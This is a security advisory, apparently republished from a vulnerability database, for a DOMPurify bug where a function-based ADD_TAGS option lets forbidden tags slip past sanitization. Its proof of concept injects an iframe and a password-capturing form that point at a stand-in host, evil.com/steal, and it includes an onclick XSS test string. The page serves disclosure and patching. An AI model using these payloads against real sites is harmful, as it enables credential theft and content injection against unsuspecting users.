DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}
The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}
This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | dompurify | < 3.4.0 | 3.4.0 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-183, CWE-79- Platform
- npm
- Package
dompurify- Disclosed
- 22.04.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-h7mw-gpvr-xq4m - CC BY 4.0
Vulnerability history: dompurify
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 30
- First → latest
- 08.2020 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 3
- Medium 19
- Low 6
Disclosures per year
- 2020: 3
- 2021: 0
- 2022: 0
- 2023: 1
- 2024: 3
- 2025: 1
- 2026: 22
-
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix) this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.